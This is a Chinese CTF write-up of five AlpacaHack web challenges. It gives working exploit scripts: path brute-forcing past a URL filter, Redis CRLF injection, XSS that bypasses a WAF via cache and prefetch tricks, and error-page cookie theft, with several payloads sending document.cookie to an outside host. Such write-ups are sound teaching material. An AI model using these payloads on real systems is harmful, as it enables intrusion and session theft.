AlpacaHack Round 7 WriteUps

這周打了全部都是 web 題目的 Solo CTF AlpacaHack Round 7,題目還蠻有趣的,尤其是最後一題花了我很多時間都還是解不掉...。

Treasure Hunt

網站本身很簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
<li><a href=/book>/book</a></li>
<li><a href=/drum>/drum</a></li>
<li><a href=/duck>/duck</a></li>
<li><a href=/key>/key</a></li>
<li><a href=/pen>/pen</a></li>
<li><a href=/tokyo/tower>/tokyo/tower</a></li>
<li><a href=/wind/chime>/wind/chime</a></li>
<li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
res.type("text");
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

然後在 Dockerfile 中有:

1
2
3
4
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH

所以 flag 會在 ./public/0/1/.../f/l/a/g/./t/x/t 這個路徑下,但是 express 方面用 middleware 禁止 req.url 中出現 flag 這四個字元。

不過實驗一下可以發現只要 url encode 一下就能 bypass,例如 a -> %61,剩下就只要寫個 script 去一層一層爆搜即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import httpx, asyncio

HEX = "0123456789abcdef"


def encode_to_path(ar):
path = ""
for c in ar:
path += f"/%{ord(c):02x}"
return path


async def main():
async with httpx.AsyncClient(base_url="http://34.170.146.252:19843/") as client:
pre = []
while len(pre) < 32:
tasks = []
for h in HEX:
cur = pre + [h]
tasks.append(client.get(encode_to_path(cur)))
responses = await asyncio.gather(*tasks)
for h, resp in zip(HEX, responses):
if resp.status_code != 404:
pre.append(h)
print(pre)
break
pre += [*"flag.txt"]
resp = await client.get(encode_to_path(pre))
print(resp.text)


asyncio.run(main())
# Alpaca{alpacapacapacakoshitantan}

Alpaca Poll

關鍵程式碼在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';

// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');

try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});

然後 vote 函數是這樣的:

1
2
3
4
5
6
7
8
9
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;

const reply = await send(socket, message);
socket.destroy();

return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}

而 flag 在 redis 中的 flag key 底下。

顯然目標是用 redis injection 讀 flag,首先是它的 replace \r \n 只會 replace 第一個 match,所以在 payload 前面塞 \r\n 就能 bypass。

再來它 parse response 時會找回傳的第一個 packet 中出現的第一個數字,因此必須要讓 INCR ... 那邊出現 error 才行。我這邊是用 INCR flag 因為型態不對所以會 error,而 response 中也不會出現數字。

之後 leak flag 的部分我是用 GETBIT 去讀 flag 的每個 bit,這樣就能 leak 出 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# curl 'http://34.170.146.252:25001/vote' -d 'animal=%0d%0aflag%0d%0aGETBIT%20flag%201'
import httpx, asyncio
from binteger import Bin


async def main():
flaglen = 26 # STRLEN flag
async with httpx.AsyncClient(base_url="http://34.170.146.252:25001/") as client:
bits = []
for i in range(flaglen):
tasks = []
for j in range(8):
tasks.append(
client.post(
"vote",
data={"animal": f"\r\nflag\r\nGETBIT flag {i * 8 + j}"},
)
)
responses = await asyncio.gather(*tasks)
bs = []
for resp in responses:
b = list(resp.json().values()).pop()
bs.append(b)
bits.extend(bs)
print(bits)
print(Bin(bits).bytes)


asyncio.run(main())
# Alpaca{ezotanuki_mofumofu}

其他好像還可以用 EVAL 指令執行 lua,然後再 lua 去 call GETRANGE 等方法再轉 ascii。

minimal-waf

這題是個單純的 XSS 題:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
<h1>HTML Viewer</h1>
<form action="/view">
<p><textarea name="html"></textarea></p>
<div style="text-align: center">
<input type="submit" value="Render">
</div>
</form>
</body>
`.trim();

express()
.get("/", (req, res) => res.type("html").send(indexHtml))
.get("/view", (req, res) => {
const html = String(req.query.html ?? "?").slice(0, 1024);

if (
req.header("Sec-Fetch-Site") === "same-origin" &&
req.header("Sec-Fetch-Dest") !== "document"
) {
// XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
res.type("html").send(html);
return;
}

if (/script|src|on|html|data|&/i.test(html)) {
res.type("text").send(`XSS Detected: ${html}`);
} else {
res.type("html").send(html);
}
})
.listen(3000);

它 regex waf 的部分我自己是沒找到 bypass,所以需要找個方法能讓它走上面那個沒檢查的 if。

我看到這個 code 時就想起了我今年在 HITCON CTF 出的 Private Browsing+,它裡面就有透過 chromium disk cache 的機制去 bypass 這個,而 disk cache 這個技巧又來自 SECCON CTF 2022 Quals - spannote

細節不細講,不過具體要達成的作法是要在同個 tab 中依序達成下列操作:

  1. Visit XSS url
  2. Visit another page that will make request to the same XSS url with correct headers (沒有 waf 的 header)
  3. Visit about:blank
  4. history.go(-2)
  5. Cached response in disk cache get loaded -> XSS

這邊的一個關鍵是要想辦法在 waf 下達成 fetch another url 的操作。最簡單會想到用 <img src="...">,但它被 waf 的 src 擋住了,不過類似的東西還有 css 中的 background: url(...),且它也不在 waf 中所以可以用。

然而有個問題是 style tag 中的 url 是 XSS url (http://localhost:3000/view?html=<script>...),而 url 中又會包含被 waf 擋住的相關單字如 htmlscript,所以要有方法 escape。

我這邊是利用 css 中 string 可以用 \0061 這種方法表示 unicode codepoint 的方法去 bypass 的,所以統整起來可以寫出以下的 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent('<script>(new Image).src="//ATTACKER_HOST/flag?"+document.cookie<\/script>')
const url2 = url
.split('')
.map(c => '\\' + c.charCodeAt(0).toString(16).padStart(4, '0'))
.join('')
const w = open(url)
await sleep(1000)
w.location =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<style>body{background: url("${url2}")}</style>
`)
await sleep(1000)
w.location = 'about:blank'
await sleep(100)
w.history.go(-2)
})()
</script>
<!-- Alpaca{WafWafPanic} -->

另外我還在看到另一個解法來自這個 tweet:

scriptを含むページをprefetchすると、Sec-Fetch-Destがemptyで飛んでくる -> scriptを含むページに移動

簡單來說就是用 prefetch XSS url,然後再 visit XSS url 即可。這之所以會動是 prefetch 時 Sec-Fetch-Dest: empty,然後 visit 時會變成從 prefetch cache 中載入,所以也能 xss。

自己寫個一個類似的 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent('<script>(new Image).src="//z.ss0.pw/flag?"+document.cookie<\/script>')
const url2 = url.split('').join('\n')
const w = open(url)
await sleep(1000)
w.location =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<link rel="prefetch" href="${url2}" />
`)
await sleep(10000)
w.location = url
})()
</script>

另外是我看到還有個可以直接 bypass waf 的解法,是利用 <embed> tag 的一個神奇 undocumented attribute code,它功能和 src 相似。它似乎是 chromium 自己的奇怪 feature...

Payload generator:

1
2
3
4
5
6
7
8
9
10
11
12
13
const payload = '<script>alert(origin)</script>'
const payload2 = payload
.split('')
.map(c => '%' + c.charCodeAt(0).toString(16).padStart(2, '0'))
.join('')
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<embed code="/view?ht
ml=${payload2}" type="text/ht
ml"></embed>
`)
console.log(url)

disconnection

題目很短:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
.use("/", (req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.listen(3000);

然後 flag 是放在 bot cookie 中,但是 path 是在 /cookie 底下:

1
2
3
4
5
6
7
8
9
10
const page = await context.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/cookie", // 🍪
});
await page.goto(url, { timeout: 5_000 });
await sleep(10_000);
await page.close();

所以目標是想辦法透過 / 的 XSS 讀到 /cookie 的 cookie。這一般的作法是透過 open 開啟 /cookie 然後存取 w.document.cookie,但是這邊因為 /* 的 path 會直接 drop connection 所以沒辦法正常開啟 /cookie

我的第一個想法是用 RPO (Relative Path Overwrite),讓瀏覽器以為是 /cookie 底下的網頁但 server side 會 normalize 成 /,這樣就能讀到 /cookie 的 cookie 了。可惜 express + node.js 基本上不對 path 做任何 normalization 所以行不通。

另一個方向就是想說 /* 的 path 都會被 disconnect 這件事是真的嗎? 實際上測試一下用 /cookie/%gg 這種 path 會讓 express 內部在做 path 處理時產生 decode error,然後就會出現一個正常的 error page,因此就能這樣利用去讀到 flag。

1
2
3
4
5
6
7
8
9
10
<script>
xss = `
w=open('/cookie/%gg')
setTimeout(()=>{
location='//ATTACKER_HOST/flag?'+w.document.cookie
},1000)
`
location = 'http://disconnection:3000/?xss=' + encodeURIComponent(xss)
</script>
<!-- Alpaca{browser_behavior_is_to0o0o0o0o0o0o0_complicated} -->

不過這個解法顯然是 unintended 的,所以題目作者就釋出了下一題 disconnection-revenge,然後我就在那題卡了很久都解不開 QQ。

*disconnection-revenge

代表這題是 upsolved 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
.use("/", (req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.use((err, req, res, next) => {
// revenge!
res.socket.destroy(); // disconnected
})
.listen(3000);

題目目標一樣,而它多的地方就只有加一個 error handler 把 connection 斷掉,不過這就足夠把前面的解法無效化了。

所以我這邊就想說既然 express 層面的 error 不行,那能不能透過 node.js http 的 error 來達成呢? 從這邊可以看到 node.js 內建有幾個 error 去處理 bad request, timeout, header too large, chunk extension too large 等情況。

最好觸發是 HTTP 431 的 header too large,就直接用個很長很長的 path 即可:

1
location = 'http://34.170.146.252:55944/'+'a'.repeat(20000)

然而它產生的是 chromium 自己的 error page,url 是 chrome-error://chromewebdata/,因此沒辦法利用這個讀 cookie。

我自己還有額外做些實驗,發現說只要 status code >= 400 且 body 為空,那 chromium error page 就會出現。要不觸發內建 error page 必須要讓 status code < 400 或是讓 body 有東西 (至少 1 byte)。這部分相關的 chromium code 可以在這邊找到。

然後到比賽結束前我都卡在這邊,因為沒找到其他方法可以讓它產生 error page 的同時又讓它是 same origin 的。

後來看到了這篇 writeup (不知道是不是 intended),發現說原來 chromium 內建的 error page 不會在 iframe 中觸發,所以可以在 iframe 中觸發 431 就能有個 /cookie/aaaa.... 的 error 在 iframe 中。然而因為 csp 的關係,iframe 必須 embed 在我們自己的 origin 的頁面上,此時又會因為 samesite cookie 的原因導致 document.cookie 為空,但它的 cookie url 還是 /cookie/aaaa....

要 bypass 的方法也不難,就是想辦法弄一個和那個 error page 有關聯的 top frame,那 samesite 的問題自然就會解決,而那篇 writeup 的作法是直接 win_ref.open() 一個 about:blank 的頁面,然後從它上面讀 cookie 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<iframe id="f1"></iframe>
<iframe id="f2"></iframe>
<script>
const base = 'http://disconnection-revenge:3000/'
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
f1.src = new URL('/cookie/' + 'a'.repeat(20000), base)
await sleep(1000)
f2.src = new URL(
'/?xss=' +
encodeURIComponent(`
w = top[0].open('about:blank')
setTimeout(()=>{
top.location = 'http://ATTACKER_HOST/flag?' + w.document.cookie
}, 1000)
`),
base
)
})()
</script>
<!-- Alpaca{unintended_solutions_everywh3re_sorry} -->

這個解法說明了一件事: about:blank 能夠繼承 initiator 的 cookie (see also whatwg/html #332)

另外,前面說的 cookie url 其實沒在任何的 spec 中有定義到,而是 chromium 自己的 implementation detail。查了一下可以找到 Define a policy container 這個 issue,說明說目前很多功能從 csp, referrer policy, cookie url 等的繼承上,目前都沒有個標準的 spec 可以參考,所以這些行為很多都是 implementation defined 的。